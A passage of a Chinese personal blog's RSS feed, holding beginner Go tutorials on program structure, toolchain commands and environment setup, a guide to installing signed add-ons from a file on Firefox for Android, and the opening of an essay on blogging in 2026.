&lt;p&gt;&lt;code&gt;func&lt;/code&gt; 是定义函数的关键字，&lt;code&gt;main&lt;/code&gt; 是函数名，&lt;code&gt;()&lt;/code&gt; 是参数列表，现在是空的，&lt;code&gt;{}&lt;/code&gt; 里面是函数体&lt;/p&gt;
&lt;p&gt;Go 程序启动时，自动从 &lt;code&gt;func main()&lt;/code&gt; 的第一行开始，&lt;strong&gt;从上到下&lt;/strong&gt;依次执行，执行完程序就结束了&lt;/p&gt;
&lt;p&gt;遇到函数调用时，会跳进那个函数执行完，再回到原来的位置继续往下走：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    fmt.Println(&quot;第一行&quot;)   // 1. 先执行这里
    fmt.Println(&quot;第二行&quot;)   // 2. 再执行这里
    fmt.Println(&quot;第三行&quot;)   // 3. 最后这里
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出永远是按顺序的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;第一行
第二行
第三行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个顺序执行的概念听起来理所当然，但你要真正记住它，因为后面学并发的时候，这个顺序会被打破&lt;/p&gt;
&lt;h3&gt;fmt.Println&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(&quot;Hello, Go!&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fmt&lt;/code&gt; 是包名，&lt;code&gt;Println&lt;/code&gt; 是这个包里的一个函数，&lt;code&gt;.&lt;/code&gt; 是&quot;属于&quot;的意思&lt;/p&gt;
&lt;p&gt;注意 &lt;code&gt;Println&lt;/code&gt; 的首字母是大写的。&lt;strong&gt;在 Go 里，大小写决定了一个东西能不能被外部访问&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;大写字母开头&lt;/strong&gt;：公开的，其他包可以用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;小写字母开头&lt;/strong&gt;：私有的，只有同一个包内部能用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;fmt.Println&lt;/code&gt; 之所以能被我们调用，就是因为它首字母大写，是公开的。如果 Go 官方把它写成 &lt;code&gt;fmt.println&lt;/code&gt;，你就调用不了&lt;/p&gt;
&lt;p&gt;这个规则贯穿整个 Go，函数、变量、结构体，都遵守这个规定，后面会反复遇到&lt;/p&gt;
&lt;h2&gt;为什么花括号不能换行&lt;/h2&gt;
&lt;p&gt;你可能注意到，Go 的开括号 &lt;code&gt;{&lt;/code&gt; 必须和函数声明在同一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 正确
func main() {
    fmt.Println(&quot;hello&quot;)
}

// 报错
func main()
{
    fmt.Println(&quot;hello&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Go 在编译之前，会自动在某些行末尾插入分号。规则很简单：如果一行最后一个词是标识符、数字、字符串，或者 &lt;code&gt;)&lt;/code&gt;、&lt;code&gt;]&lt;/code&gt;、&lt;code&gt;}&lt;/code&gt; 这类符号，就自动加分号&lt;/p&gt;
&lt;p&gt;所以 &lt;code&gt;func main()&lt;/code&gt; 这一行，因为最后是 &lt;code&gt;)&lt;/code&gt;，编译器会自动加分号变成 &lt;code&gt;func main();&lt;/code&gt;，然后下一行的 &lt;code&gt;{&lt;/code&gt; 就成了孤立的符号，语法错误&lt;/p&gt;
&lt;p&gt;把 &lt;code&gt;{&lt;/code&gt; 放在同一行就不会触发这个规则&lt;/p&gt;
&lt;h2&gt;注释&lt;/h2&gt;
&lt;p&gt;注释是写给人看的，编译器会完全忽略它&lt;/p&gt;
&lt;p&gt;单行注释：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 这是注释
fmt.Println(&quot;hello&quot;) // 行尾注释
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多行注释：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
这是
多行注释
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际项目里单行注释用得更多。多行注释一般用来临时屏蔽一段代码，调试的时候很方便&lt;/p&gt;
&lt;h2&gt;多个文件组成一个程序&lt;/h2&gt;
&lt;p&gt;现在你写的程序只有一个文件，但真实项目不可能把所有代码塞进一个文件里&lt;/p&gt;
&lt;p&gt;Go 允许同一个包的代码分散在多个文件里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;golearn/
    main.go
    helper.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main.go&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import &quot;fmt&quot;

func main() {
    fmt.Println(greet(&quot;Chongxi&quot;))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;helper.go&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

func greet(name string) string {
    return &quot;你好，&quot; + name
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两个文件都声明了 &lt;code&gt;package main&lt;/code&gt;，Go 会把它们当成同一个包处理。运行的时候：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go run main.go helper.go
# 或者
go run .   # 运行当前目录所有 .go 文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数和变量的概念后面会讲，这里只是让你知道多文件是怎么回事，不用深究&lt;/p&gt;
&lt;h2&gt;工具链&lt;/h2&gt;
&lt;p&gt;Go 自带一套工具，开发过程中会经常用到&lt;/p&gt;
&lt;p&gt;&lt;code&gt;go run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;编译并立刻运行，适合开发阶段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go run hello.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;go build&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;编译生成可执行文件，适合生产部署：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go build hello.go
./hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;go fmt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;自动格式化代码，解决所有缩进和换行问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go fmt hello.go          # 格式化单个文件
go fmt ./...             # 格式化当前目录所有文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;养成习惯，写完代码跑一下 &lt;code&gt;go fmt&lt;/code&gt;，不要手动纠结格式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;go vet&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;静态检查，帮你找代码里的潜在问题，比如格式化字符串用错了类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go vet hello.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;go vet&lt;/code&gt; 不报错不代表代码一定对，但它报错了就一定有问题，要认真看&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;go doc&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;查看任何包或函数的文档，不用开浏览器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go doc fmt
go doc fmt.Println
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;标准库文档&lt;/h2&gt;
&lt;p&gt;Go 的标准库文档在 &lt;a href=&quot;https://pkg.go.dev/std&quot;&gt;pkg.go.dev/std&lt;/a&gt;，所有官方包都在这里，每个函数都有说明和示例&lt;/p&gt;
&lt;p&gt;比如你想知道 &lt;code&gt;fmt&lt;/code&gt; 里还有哪些函数，打开 &lt;a href=&quot;https://pkg.go.dev/fmt&quot;&gt;pkg.go.dev/fmt&lt;/a&gt; 就能看到&lt;/p&gt;
&lt;p&gt;遇到不认识的函数或者不确定怎么用，先查这里。标准库文档是 Go 最权威的参考资料&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;本篇偏概念，现在来过一遍：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go属于编译型语言，先翻译再运行&lt;/li&gt;
&lt;li&gt;每个文件必须声明 &lt;code&gt;package&lt;/code&gt;，能直接运行的程序包名是 &lt;code&gt;main&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;import&lt;/code&gt; 引入包，引入了必须用或者&lt;code&gt;_&lt;/code&gt;匿名，可以起别名&lt;/li&gt;
&lt;li&gt;程序从 &lt;code&gt;func main()&lt;/code&gt; 开始，从上到下顺序执行&lt;/li&gt;
&lt;li&gt;大写字母开头是公开的，小写是私有的&lt;/li&gt;
&lt;li&gt;花括号不能换行， Go 有自动分号插入机制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go fmt&lt;/code&gt; 格式化，&lt;code&gt;go vet&lt;/code&gt; 静态检查，&lt;code&gt;go doc&lt;/code&gt; 查文档&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一篇会讲真正有意思的部分：&lt;s&gt;边亮&lt;/s&gt;变量&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.01：如何初始化Go环境并跑通第一个代码</title><link>https://xice.cx/posts/ch01-SetupGolang/</link><guid isPermaLink="true">https://xice.cx/posts/ch01-SetupGolang/</guid><description>本文提供了面向小白的Golang环境配置教程以及如何跑通第一个Go代码</description><pubDate>Fri, 01 May 2026 00:10:00 GMT</pubDate><content:encoded>&lt;p&gt;上一篇说了为什么值得学 Go，这篇我们来解决最基础的问题：把环境装好，让代码真正跑起来&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 安装 Go&lt;/h2&gt;
&lt;h3&gt;1.1 Windows&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;打开 &lt;a href=&quot;https://go.dev/dl&quot;&gt;go.dev/dl&lt;/a&gt;，下载最新版本的 &lt;code&gt;.msi&lt;/code&gt; 安装包&lt;/li&gt;
&lt;li&gt;双击安装，一路下一步，默认路径不需要改&lt;/li&gt;
&lt;li&gt;安装完成后，在开始菜单打开&lt;code&gt;终端&lt;/code&gt;或按 &lt;code&gt;Win + R&lt;/code&gt;，输入 &lt;code&gt;PowerShell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;输入：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;go version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有版本号输出即成功&lt;/p&gt;
&lt;p&gt;如果提示&quot;不是内部或外部命令&quot;：说明环境变量没有生效，重启一下终端或者重启电脑&lt;/p&gt;
&lt;h3&gt;1.2 macOS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;方法一：官网安装包&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开 &lt;a href=&quot;https://go.dev/dl&quot;&gt;go.dev/dl&lt;/a&gt;，下载 &lt;code&gt;.pkg&lt;/code&gt; 文件&lt;/li&gt;
&lt;li&gt;双击安装，按提示走完&lt;/li&gt;
&lt;li&gt;打开终端，输入：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;go version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法二：Homebrew&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你已经装了 Homebrew：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install go
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 Linux&lt;/h3&gt;
&lt;p&gt;按发行版来选择命令&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fedora：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install golang -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu/Debian&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install golang -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -Syu go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;装完验证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go version
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. 建一个工作目录 (可选)&lt;/h2&gt;
&lt;p&gt;代码放哪都行，建一个专门的目录会整洁很多，这里看个人习惯了，以后练习都在这里新建文件&lt;/p&gt;
&lt;h2&gt;3. 跑通第一个代码&lt;/h2&gt;
&lt;p&gt;新建一个文件 &lt;code&gt;hello.go&lt;/code&gt;，内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import &quot;fmt&quot;

func main() {
    fmt.Println(&quot;Hello, Go&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存好之后，在终端里运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go run hello.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hello, Go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就成功了&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;简单解释下这个代码，现在先不用深究，可以稍微有下感觉：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;package main&lt;/code&gt; ： 声明这是一个可以直接运行的程序，每个 Go 文件都必须声明它属于哪个包&lt;/p&gt;
&lt;p&gt;&lt;code&gt;import &quot;fmt&quot;&lt;/code&gt; ： 引入标准库里的 &lt;code&gt;fmt&lt;/code&gt; 包，用来做输入输出，比如打印文字&lt;/p&gt;
&lt;p&gt;&lt;code&gt;func main()&lt;/code&gt; ： 程序的入口，Go 程序从这里开始执行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fmt.Println(...)&lt;/code&gt; ： 调用 &lt;code&gt;fmt&lt;/code&gt; 包里的 &lt;code&gt;Println&lt;/code&gt; 函数，打印一行文字并换行。点是&lt;strong&gt;属于&lt;/strong&gt;的意思，&lt;code&gt;fmt.Println&lt;/code&gt; 就是&lt;strong&gt;fmt 里的 Println&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;4. 常见错误&lt;/h2&gt;
&lt;p&gt;刚开始很容易犯这两个错&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;标点用错&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt,Println(&quot;Hello&quot;)  // × 逗号不是点
fmt.Println(&quot;Hello&quot;)  // √
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字母看错&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.PrintIn(&quot;Hello&quot;)  // × 不是I
fmt.Println(&quot;Hello&quot;)  // √ 这里是l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在很多字体里 &lt;code&gt;l&lt;/code&gt; 和 &lt;code&gt;I&lt;/code&gt; 长得一模一样，我非常建议专门选择一个合适的编程字体，例如&lt;code&gt;Jetbrains Mono&lt;/code&gt;和&lt;code&gt;Fira Code&lt;/code&gt;，面向编程的等宽字体一般都会做额外区分，防止认错&lt;/p&gt;
&lt;h2&gt;5. 报错&lt;/h2&gt;
&lt;p&gt;Go 的报错信息很友好，出错了先别急，先把报错读完。比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./error.go:6:5: syntax error: unexpected newline, expected := or = or comma
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这行信息告诉你：&lt;code&gt;hello.go&lt;/code&gt; 文件第 6 行第 5 列，有语法错误。Go 会精确告诉你问题在哪，顺着找就行&lt;/p&gt;
&lt;h2&gt;6. go run 和 go build 的区别&lt;/h2&gt;
&lt;p&gt;你现在用的是 &lt;code&gt;go run&lt;/code&gt;，它会编译然后立刻运行，适合开发阶段快速验证&lt;/p&gt;
&lt;p&gt;还有一个命令是 &lt;code&gt;go build&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go build hello.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这会生成一个可以直接执行的二进制文件，Windows 下是 &lt;code&gt;hello.exe&lt;/code&gt;，Linux / macOS 下是 &lt;code&gt;hello&lt;/code&gt;。生成之后可以直接运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./hello
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;学习阶段用 &lt;code&gt;go run&lt;/code&gt; 就够，等以后要把程序部署到服务器上，才需要用 &lt;code&gt;go build&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;7. 推荐的IDE&lt;/h2&gt;
&lt;p&gt;工欲善其事，一个好用的IDE会让学习过程顺很多。这里推荐两个&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;VSCode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最流行的选择，轻量免费，插件生态丰富。装好 VSCode 之后搜索插件 &lt;code&gt;Go&lt;/code&gt;，安装 Google 官方那个。然后按 &lt;code&gt;Ctrl+Shift+P&lt;/code&gt;，输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Go: Install/Update Tools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全选安装，装完之后自动补全、报错提示、格式化全有&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GoLand&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你用过 JetBrains 家的产品，比如 IntelliJ IDEA 或者 PyCharm，会很熟悉。GoLand 是专门为 Go 打造的 IDE，开箱即用但，不需要手动装插件配环境，调试器、代码导航、重构工具都比 VSCode 更完善&lt;/p&gt;
&lt;p&gt;对于初学者来说 VSCode 足够用，但如果你打算长期写 Go，GoLand 值得考虑。JetBrains 提供30天免费试用，学生可以免费申请教育授权，否则需要付费购买&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;环境配好了，下一篇我们来开始写真正的代码&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NEXT：变量是什么，怎么存数据，Go 里有哪些常见的类型&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.00： 为什么要学Golang</title><link>https://xice.cx/posts/ch00-whyGolang/</link><guid isPermaLink="true">https://xice.cx/posts/ch00-whyGolang/</guid><description>本篇简单介绍了学Golang的原因，顺便也简单讲了写本系列的动机</description><pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么是Go？&lt;/h2&gt;
&lt;p&gt;学编程之前有个问题绕不开：该学哪门语言？&lt;/p&gt;
&lt;p&gt;这个问题没有标准答案，但有决策框架。不同语言有不同的设计目标，选语言本质上是在选一种工具，工具只有合不合适。&lt;/p&gt;
&lt;p&gt;所以与其告诉你&quot;All in Golang&quot;，不如先说清楚 Go 适合什么人，不适合什么人&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Go 优势在哪&lt;/h2&gt;
&lt;h3&gt;简单&lt;/h3&gt;
&lt;p&gt;Go 的设计者包括 Unix 的创造者 Ken Thompson，他们在 Google 内部看到了一个问题：公司在用 C++，但没人能快速看懂别人写的代码，新人上手要好几个月。他们设计 Go 的时候做了一个激进的决定：把所有&lt;em&gt;聪明&lt;/em&gt;的语言特性砍掉，只留下够用的&lt;/p&gt;
&lt;p&gt;没有继承，没有泛型（最新版加了但很克制），没有异常，没有隐式类型转换&lt;/p&gt;
&lt;p&gt;刚开始你会觉得受限，后来会发现这让代码极其好读。一个 Go 项目，任何人打开都能快速理解，因为足够简单&lt;/p&gt;
&lt;h3&gt;并发&lt;/h3&gt;
&lt;p&gt;现代服务器软件的核心问题之一是：怎么同时处理大量请求？&lt;/p&gt;
&lt;p&gt;Go 的 &lt;code&gt;goroutine&lt;/code&gt; 是它最被低估的特性。开一个 goroutine 的成本极低，几 KB 内存，比系统线程轻几百倍。配合 channel 做通信，并发代码写起来逻辑清晰，不需要引入复杂的框架。Go 把这件事做得非常简单且极致&lt;/p&gt;
&lt;h3&gt;部署&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;go build&lt;/code&gt; 一个命令，出来一个二进制文件，扔到任何 Linux 服务器上直接跑，不需要安装任何依赖，不需要配置运行时环境&lt;/p&gt;
&lt;p&gt;用 Docker 打包，基础镜像可以用 &lt;code&gt;scratch&lt;/code&gt; 这种纯空镜像，最终镜像几 MB，启动时间毫秒级。对比 Java 动辄几百 MB 的镜像和几秒的启动时间，差距相当明显&lt;/p&gt;
&lt;h3&gt;工程生态成熟度&lt;/h3&gt;
&lt;p&gt;Go 的标准库非常完整，HTTP 服务器、JSON 处理、文件操作，不需要装第三方库就能做大部分事情&lt;/p&gt;
&lt;p&gt;工具链统一，&lt;code&gt;go fmt&lt;/code&gt; 格式化，&lt;code&gt;go test&lt;/code&gt; 测试，&lt;code&gt;go build&lt;/code&gt; 编译，简洁明了&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;什么人适合学 Go&lt;/h3&gt;
&lt;p&gt;如果你想做后端服务、API、Cli、运维工具...Go 是目前最顺手的选择之一&lt;/p&gt;
&lt;p&gt;如果你对&lt;strong&gt;云原生&lt;/strong&gt;感兴趣，Docker、K8s、Terraform、Prometheus，这些你每天可能都在用的工具，底层都是 Go。看得懂 Go，就能读源码，出了问题不只能等别人修&lt;/p&gt;
&lt;p&gt;如果你是&lt;strong&gt;有 Linux 基础的人&lt;/strong&gt;，Go 写的程序部署方式和 Linux 工具的设计思路很相近，没有太多额外的负担&lt;/p&gt;
&lt;h3&gt;什么人不适合现在学 Go&lt;/h3&gt;
&lt;p&gt;想做机器学习/数据分析/AI，先学 Python&lt;/p&gt;
&lt;p&gt;想做web和nodejs全栈，先学 JavaScript&lt;/p&gt;
&lt;p&gt;对底层系统和极致性能感兴趣，可以直接去学 Rust，Go 满足不了你&lt;/p&gt;
&lt;p&gt;没有一门语言能一招鲜吃遍天，Go 也不是&lt;/p&gt;
&lt;p&gt;但如果你现在的目标是：写出能直接跑在服务器上的程序，理解现代基础设施是怎么运作的，同时不想在语言本身的复杂度上耗费太多精力，那 Go 是一个相当合理的起点&lt;/p&gt;
&lt;p&gt;它足够好用，也不会让你在入门阶段就陷入无谓的复杂度里&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么市面上教科书/教程这么多，我还要额外写系列&lt;/h2&gt;
&lt;p&gt;市面上的教程大多有几个通病：要么太学术，新人不友好；要么太碎，东一块西一块没有体系；要么是翻译腔，读着别扭&lt;/p&gt;
&lt;p&gt;但&lt;em&gt;别人写得不好&lt;/em&gt;不够有说服力&lt;/p&gt;
&lt;p&gt;我曾经在入门Go的时候遇到过很多问题，都说照着教科书看但总找不到方向，东一块西一块零零碎碎不成体系。我想以我当初刚开始学Go的角度，把自己当时的困惑，踩坑记录等写下来，来带每一个想学Golang但是找不到地方下手的人&lt;/p&gt;
&lt;p&gt;这就是这个系列存在的理由&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;从零带你学 Golang -目录&lt;/h2&gt;
&lt;h3&gt;基础入门&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;第0篇：为什么要学 Golang &amp;lt;&amp;lt; &lt;em&gt;You are here now&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么是 Go，和其他语言横向对比，适合什么人&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;第1篇：环境配置 &amp;lt;&amp;lt; 已发布&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;三平台安装，编辑器选择，跑通 Hello World，看懂报错&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;语言基础&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;第2篇：程序是怎么跑起来的 &amp;lt;&amp;lt; 待发布&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;从源代码到运行，编译和解释的区别，Go 程序的结构，package 和 main&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;第3篇：变量 &amp;lt;&amp;lt; 编辑中&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;声明方式，&lt;code&gt;:=&lt;/code&gt; 和 &lt;code&gt;var&lt;/code&gt;，多变量声明，零值，变量必须被使用，作用域&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;第4篇：基本数据类型 &amp;lt;&amp;lt; 已立项未编写&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;整数（int、int8、int32、int64），浮点数，布尔，字符串，类型的本质是什么&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;本系列作者就我一个人，更新频率可能不固定，有闲杂时间就写到哪里&lt;/p&gt;
&lt;p&gt;不会烂尾，我也不会承诺每周一定要更新几篇。如果您在跟着学，建议收藏&lt;a href=&quot;https://xice.cx/seri/golearn&quot;&gt;hub&lt;/a&gt;页或者使用rss订阅本站，有更新自然会看到，感谢阅读&lt;/p&gt;
</content:encoded><category>Golang</category><category>教程</category><author>Chongxi</author></item><item><title>如何在Firefox手机版开启开发者安装本地插件</title><link>https://xice.cx/posts/firefoxAndroidInstallExtended/</link><guid isPermaLink="true">https://xice.cx/posts/firefoxAndroidInstallExtended/</guid><description>本文提供了Firefox手机版开启开发者模式并从文件安装插件的教程</description><pubDate>Mon, 27 Apr 2026 20:02:11 GMT</pubDate><content:encoded>&lt;h2&gt;1.启动开发者模式&lt;/h2&gt;
&lt;p&gt;Firefox 内置了一个调试菜单，默认隐藏，激活方式如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;设置 → 关于 Firefox → 连续点击 Firefox logo 五下&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.jpg&quot; alt=&quot;open-firefox-debug-mode&quot; /&gt;&lt;/p&gt;
&lt;p&gt;底部会弹出提示：&lt;code&gt;已启用调试菜单&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;回到设置，在高级选项内会出现&lt;strong&gt;从文件安装插件&lt;/strong&gt; 选项&lt;/p&gt;
&lt;h2&gt;2. 安装本地插件&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;a href=&quot;https://addons.mozilla.org&quot;&gt;Firefox插件商店&lt;/a&gt; 插件页面点 &lt;strong&gt;Download file&lt;/strong&gt;，下载 &lt;code&gt;.xpi&lt;/code&gt; 文件到手机&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;这里直接add不让点，所以只能本地安装&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./1.jpg&quot; alt=&quot;install-extension&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;激活上面的调试菜单&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置 → 从文件安装插件 → 选择下载好的 &lt;code&gt;.xpi&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./3.jpg&quot; alt=&quot;install-extension&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;成功&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./4.png&quot; alt=&quot;install-success&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.jpg&quot; alt=&quot;wappalyzer&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;只支持已签名的插件&lt;/strong&gt;，从 AMO 下载的官方 xpi 都是签名过的。第三方来源的未签名插件可能会被拒绝&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Firefox Android 限制插件兼容性，理由是移动端 API 和桌面端不完全一样，有些插件在手机上会崩。Wappalyzer 这种读取页面信息的插件其实完全没问题，只是官方没有主动适配标记而已&lt;/p&gt;
&lt;p&gt;强制安装之后 Wappalyzer 在 Firefox Android 上显示完全正常&lt;/p&gt;
</content:encoded><category>教程</category><category>Firefox</category><author>Chongxi</author></item><item><title>2026年，仍有人在写博客</title><link>https://xice.cx/posts/blogIn2026/</link><guid isPermaLink="true">https://xice.cx/posts/blogIn2026/</guid><description>大数据和AI时代，还在手写博客的人在干什么，简单聊聊我的思考</description><pubDate>Fri, 24 Apr 2026 20:01:11 GMT</pubDate><content:encoded>&lt;p&gt;在2026年回头看，blog出现之前的互联网，其实是一个很安静的地方&lt;/p&gt;
&lt;p&gt;不是说内容少，是说&lt;strong&gt;能发内容的人很少&lt;/strong&gt;。那时候要在网上有一块自己的地方，你得会写HTML，得知道怎么用FTP把文件传到服务器上，得懂一点点基础的建站知识。这些东西现在看起来不难，但在90年代，这道门槛足以挡住绝大多数普通人&lt;/p&gt;
&lt;p&gt;所以那时候网上的个人表达基本是极客的专利。你能看到一些个人主页，页面做得五花八门，但背后的人都是愿意花时间研究计算机技术的那一类。普通人上网，基本上就是看：看门户网站的新闻，看别人的内容，自己没有开口的地方&lt;/p&gt;
&lt;p&gt;这个局面在1999年开始松动&lt;/p&gt;
&lt;p&gt;Blogger上线了。它做的事情说起来很简单：把&quot;写内容&quot;和&quot;把内容放到网上&quot;这两件事分开了。你不需要再管服务器、不需要写HTML，打开网页，写字，点发布，完了。页面自动生成，地址自动有了&lt;/p&gt;
